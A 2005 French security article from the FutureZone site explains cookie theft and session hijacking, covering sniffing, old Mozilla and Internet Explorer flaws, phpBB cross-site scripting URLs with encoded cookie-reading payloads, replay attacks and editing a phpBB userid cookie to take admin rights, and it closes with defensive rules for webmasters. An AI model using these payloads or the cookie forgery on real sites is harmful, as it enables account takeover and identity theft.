Shoutbox :
Shoutbox :
Cookies et vulnérabilité des identités
Par 4n9e le 16-06-2005
Présentation des dangers liés aux cookies, usurpation de droits, d'identité et replay attacks
Cet article a pour but d?aborder des notions de sécurité relatives aux cookies.
En arrivant sur cet article consacré à la sécurité des cookies, votre navigateur a peut etre affiché une fenetre affichant votre identifiant de session, et d'autres informations eventuellement.
C'est le genre d'information qui aurait pu être contenue dans un cookie vous identifiant pendant votre visite, enregistrée à votre insu par une personne mal intentionnée et utilisée ulterieurement afin d'usurper votre identité sur le site.
Comme on le sait, il s?agit de fichiers texte
simples, qui contiennent des données sur le compte de l?utilisateur, ou plus
largement toute information susceptible de faciliter la navigation d?un
visiteur sur un site.
Ils sont générés par le site considéré, et ils sont stockés sur la machine du visiteur dans le dossier personnel ( dans C:\Documents and Settings\%utilisateur%\Cookies dans le cas de windows Xp par exemple ).
Le but ici n?est pas de s?attarder sur ce qu?est un cookie, la facon dont il est généré, mais plutot les risques qui l?entourent. Rapidement donc pour finir avec l?entrée en matières, un cookie de site est de la forme :
%user% @ %site% (exemple : gutek@php.txt )
COUNTRY
POL%2C10.248.120.202
php.net/
1536
1377875272
29718143
638123456
29754321
*
LAST_LANG
pl
php.net/
1536
3937392640
29224700
7895405776
24716744
*
Ces fichiers contenant des informations
propres a un utilisateur, il devient interressant pour un attaquant de s?en
emparer afin d?usurper son identité, ou tout simplement de s?attribuer des
droits d?un utilisateur spécial (admin par exemple).
La voie la plus simple serait donc pour l?attaquant d?avoir un acces physique a la machine qui contient le cookie recherché. Dans un cas simple toujours, ils est alors rapide de naviguer jusqu?au dossier stockant les cookies.
Dans un cas plus compliqué, si l?attaquant ne dispose pas des droits suffisants pour y accéder, il reste possible de booter sur un systeme d?exploitation alternatif sur un support tel qu?un cd (Knoppix ou d?autres version light de Linux) afin de monter la partition visée et de pouvoir l?exploiter.
Une autre voie exploite le fait que ces cookies soient transmis sur un flux http non chiffré. Dès lors, l?attaquant qui snifferait le reseau pourrait sans mal s?en emparer. Vous pouvez vous en assurer en lancant une capture de flux sous Ethereal ou un quelconque sniffer, et en vous connectant a votre forum préféré. Dans cet exemple, voici un flux capturé d?une connexion au forum de FutureZone :
GET /def1.cur HTTP/1.1
Accept: */*
XXXXXXX: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Accept-Language: fr
XXXXXXXXXXXXXXX: XXXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: futurezone.free.fr
Connection: Keep-Alive
Cookie: phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2210%22%3B%7D; phpbb2mysql_sid=a66860312345e7eb379c54321c1318e3
Cette requete GET envoyée par le navigateur transmet au site le cookie qui identifie l?utilisateur connecté. Ce cookie est sous sa forme escapée, qui se traduit comme suit :
phpbb2mysql_data=a:2:; phpbb2mysql_sid=a66860312345e7eb379c54321c1318e3
C?est le cas typique d?un cookie formé par un forum en phpBB.
(vous pouvez trouver un outil en ligne pour effectuer ce genre de conversion sur le site FutureZone à cette page )
Dans le cas plus courant où l?attaquant ne peut avoir acces physiquement à la machine, il va devoir exploiter des failles de sécurité. Celles-ci peuvent être dues au navigateur qu?utilise la victime, ou au site lui-même.
En 2002, Marc
Slemko identifiait ce genre de faille au sein des navigateurs Mozilla et Netscape ( respectivement
les versions inferieures à 0.9.7 et 6.2.1).
Dans cette faille, on utilisait une URL modifiée de la sorte : http://vrai_site.com%00www.site_de_stockage_des_cookies.com/stockage
Le navigateur affichait bien la page du site visé, tout en envoyant les cookies à celui se trouvant apres le caractère %00 (bien sur celui de l?attaquant).
On peut trouver encore ce genre de vulnérabilité en faisant le test sur cette page :
http://alive.znep.com/~marcs/security/mozillacookie/demo.html
Internet
Explorer n?est pas en reste avec son lot de failles de sécurités. Dans ce
sens, l?une d?elle permettait sur les versions 5.5 et 6.0 d?avoir acces aux
cookies d?une victime visitant une page appartenant à l?attaquant. Cette page
contenait un script permettant l?acces à ces données. Cette faille, aujourd?hui
corrigée par Microsoft, permettait de plus cette action directement depuis un
client mail Outlook?
Les vulnérabilités fréquentes qui permettent l?acces aux cookies sont le plus souvent liées aux sites eux même. Plus spécifiquement par exemple de vulnérabilités de type Cross Site Scripting, qui permet d?envoyer du code javascript au serveur a la place de données normalement attendues dans un champ de formulaire (un nom, une recherche par exemple).
Le cas s?est présenté sur le service Mail.com, qui permettait ce
type d?envoi de script dans le champ login, transformant la requete en quelque
chose comme : http://mymail.mail.com/scripts/common/forgotpasswd.cgi?login=
Dans le domaine de la vulnérabilité liée au
site lui-même, on peut citer pour mémoire les failles des forum phpBB qui permettent le même type de vol de cookies.
Elles se trouvent sous certaines versions, sous la forme de failles dans privmsg.php :
http://forum/phpBB2/privmsg.php?mode=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C
?ce que l?outil cité plus haut dans cet article traduirait par
privmsg.php?mode="">post&u=2
Ou encore dans viewtopic.php :
http://forum/phpBB2/viewtopic.php?t=123456&postorder=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C
De la récupération à l?exploitation
En possession d?un cookie volé, l?attaquant se voit offrir différentes possibilités. Dans le cas le plus simple, il peut s?agir d?un cookie dans lequel le site stocke tout simplement les informations d?authentification (login/pass). Ne riez pas, ca arrive encore dans nombre de petits sites. L?attaque s?arrete là, le reste est evident?
Mais la voie la plus courante reste ce qui est désigné sous le terme de replay attack, et d?une facon générale la modification d?un cookie afin d?usurper l?identité d?un autre (interressant si possible).
Dans le cas d?une replay attack, le principe va etre de refaire la séquence d?authentifaction au site. Disposant d?un cookie volé, il reste a le mettre dans son propre dossier de cookies et de relancer la séquence de connexion au site.
Improbable ? trop facile ? Pas si sur?
Le celebre service de messagerie Hotmail a
été victime de ce genre de faille un certain temps, ainsi que de nombreux
autres sites sensibles. Tout simplement parceque, dans certaines conditions de
configuration et d?utilisation du navigateur (qui ne seront pas détaillées
ici), si la session n?est pas fermée par l?utilisateur qui quitte le site
(deconnexion, qui a pour effet d?effacer/revoquer un cookie), l?utilisateur
suivant peut utiliser un cookie qui est resté valide un certain temps.
Dans le meme ordre d?idée, Microsoft (qui decidement decide constament de cracher sur les RFC, 2109 dans ce cas precis?) a vu ses serveurs IIS 4.0 et 5.0 sensibles à un genre de vulnérabilité inconcevable pour tout cryptologue : le fait d?utiliser une meme information sur une session claire et une session chiffrée. En l?occurrence, les cookies d?identifiant de session.
Celui-ci est passé en clair dans les zones non securisées, etant aussi utilisé pour l?authentification dans la zone HTTPS sécurisée. Un attaquant surveillant le traffic au bon moment peut alors s?emparer de la session de la victime et continuer celle-ci a son profit.
Afin de se prémunir d?attaques de type replay, de plus en plus de systemes d?authentification par cookies y ajoutent une session. C'est-à-dire qu?un numero d?ordre est associé a chaque utilisateur au moment de sa connexion. Un attaquant presentant un cookie différent (parceque modifié par ses soins )aura par definition un identifiant de session identique. Deux cookies , donc deux utilisateurs différents sur une meme session est impossible.
Dans ce cas, la vulnérabilité intervient si cet identifiant est prédictible. Par exemple si on sait qu?a chaque connexion d?un visiteur il est incrémenté de X. Il est alors facile pour l?attaquant de modifier légèrement son cookie volé en conséquence.
L?usurpation d?identité a de beaux exemples sur les forums phpBB encore une fois. Sur les versions jusqu?à 2.0.12, le fait de modifier le cookie de connexion pour y changer le numero d?enregistrement dans la base SQL d?un utilisateur permet d?avoir les droits de celui-ci.
Reprenons pour illustrer ce point le cookie typique d?une session initiée par un utilisateur enregistré sur le forum :
phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2210%22%3B%7D; phpbb2mysql_sid=a66860312345e7eb379c54321c1318e3
et traduisons la partie userid (toujours l?outil cité au debut de cet article sur le site de FutureZone, partie sécurité informatique):
:"userid";s:2:"10"
Il contient le numéro d?ordre d?enregistrement dans la base, ici 10, signifiant « le membre numero 10 », et un verificateur qui donne le nombre de chiffres dans cet identifiant (ici s=2)
Si l?admin du forum considéré est le numéro 2 dans la base, l?attaquant modifiera le cookie comme suit :
(...)userid%22%3Bs%3A1%3A%222%22%3B%7D(...)
c'est-à-dire :"userid";s:1:"2"
La suite dépendra de la version exacte de phpBB. Sur certaines, sauvegarder le cookie et rejouer la séquence suffira. Sur les autres jusqu?à 2.0.12, la manipulation est plus délicate. Il va s?agir d?intercepter (sniffer) le flux http, et de modifier le cookie directement au sein de la requete GET, et de reinjecter le paquet. Winject et Ethereal sont pour ceci un couple tres efficace chez les utilisateurs de Windows qui, nombreux, ont popularisé ce genre d?attaque.
Les solutions
Il est bon de rappeler que le webmaster est responsable de la sécurité des utilisateurs de son site des lors qu?il s?agit de cookies, dans la mesure où il decide de leur utilité, et des informations qu?ils contiennent. Et d?abord tout simplement parcequ?il est tres mauvais de se reposer sur l?unique sécurité supposée proposée par le fournisseur de service (hebergeur, etc?)
Quelques regles sont imperatives des lors :
Jamais un cookie ne doit avoir pour but d?authentifier automatiquement un visiteur. Celui-ci doit systematiquement passer par une page de login quoi qu?il en soit.
Dans le cas de sessions, l?identifiant ne doit pas etre predictible. Un hash aléatoire est préférable.
Un systeme de déconnexion est essentiel : il aura pour travail de terminer proprement la session en effacant/ revoquant le cookie.
Il est souhaitable de chiffrer en partie les cookies, de facon serieuse (pas de pseudo crypto avec de pauvres Base64, par exemple?je me comprend?)
Si le principe du cookie est d?une grande utilité dans la conception d?un web dynamique, il reste comme toute fonctionnalité a qui on donne une grande place dans la recherche de l?ergonomie une faiblesse majeure du systeme. Comme d?habitude, plus on facilite la tache du client en tache de fond, plus ces mecanismes « invisibles » peuvent se retourner contre leur concepteur.
Je vous ai deja parlé de mon chien ? Ce brave animal aboie d?une facon particuliere quand un ami approche de chez moi. Mais je verifie quand meme de qui il s?agit?
4N9e, pour FutureZone, 2005